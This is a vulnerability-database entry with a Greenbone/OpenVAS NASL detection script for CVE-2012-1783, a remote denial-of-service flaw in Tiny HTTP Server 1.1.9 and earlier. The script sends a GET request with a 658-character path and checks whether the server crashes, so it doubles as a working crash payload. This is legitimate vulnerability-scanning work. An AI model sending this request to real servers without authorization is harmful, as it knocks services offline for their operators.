CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:N/I:N/A:C
AI Score
Confidence
High
EPSS
Percentile
88.4%
Tiny HTTP Server is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802614");
script_version("2023-07-21T05:05:22+0000");
script_cve_id("CVE-2012-1783");
script_tag(name:"cvss_base", value:"7.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2012-03-05 11:01:07 +0530 (Mon, 05 Mar 2012)");
script_name("Tiny HTTP Server Remote Denial of Service Vulnerability");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/73482");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18524");
script_xref(name:"URL", value:"http://packetstormsecurity.org/files/110220/Tiny-HTTP-Server-1.1.9-Crash.html");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("Denial of Service");
script_dependencies("gb_get_http_banner.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("TinyServer/banner");
script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to cause the
application to crash, creating a denial-of-service condition.");
script_tag(name:"affected", value:"Tiny HTTP Server versions 1.1.9 and prior.");
script_tag(name:"insight", value:"The flaw is due to an error when processing certain requests
and can be exploited to cause a denial of service via a specially crafted packet.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_tag(name:"summary", value:"Tiny HTTP Server is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port(default:80);
banner = http_get_remote_headers(port:port);
if(!banner || "Server: TinyServer" >!< banner)
exit(0);
if(http_is_dead(port:port))
exit(0);
req = http_get(item:string("/", crap(658)), port:port);
http_send_recv(port:port, data:req);
if(http_is_dead(port:port)) {
security_message(port:port);
exit(0);
}
exit(99);